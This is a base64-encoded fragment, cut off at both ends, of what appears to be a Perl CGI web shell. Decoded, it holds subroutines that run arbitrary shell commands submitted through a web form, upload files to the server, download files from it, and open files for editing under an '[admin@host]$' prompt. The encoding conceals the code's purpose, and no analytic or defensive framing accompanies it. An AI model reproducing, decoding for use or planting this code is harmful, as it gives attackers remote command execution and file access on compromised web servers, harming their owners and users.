iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNTAiIG5hbWU9ImMiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQidHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KDQo8L2Zvcm0+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlyZXR1cm4gPDxFTkQ7DQo8L3RleHRhcmVhPg0KPGJyPjxmb250IGNvbG9yPXllbGxvdz4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+DQpFTkQNCgl9DQp9DQoNCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRyZXN1bHQgLj0gPDxFTkQ7DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPg0KRU5EDQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOw0KCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLA0KIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIHJ1biBjb21tYW5kDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJyRDb21tYW5kJyk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOw0KCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsNCgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsNCglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsNCglpZigtdyAkRmlsZSkNCgl7DQoJCSRyb3dzPSIyMyINCgl9ZWxzZQ0KCXsNCgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkcmVhZD0oJFdpbk5UKT8idHlwZSI6Imxlc3MiOw0KCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7DQoJJHJlc3VsdCAuPSAgPDxFTkQ7DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KCSRQcm9tcHQNCgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPg0KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQoJPGJyPkNvbW1hbmQ6IDxydW4+IC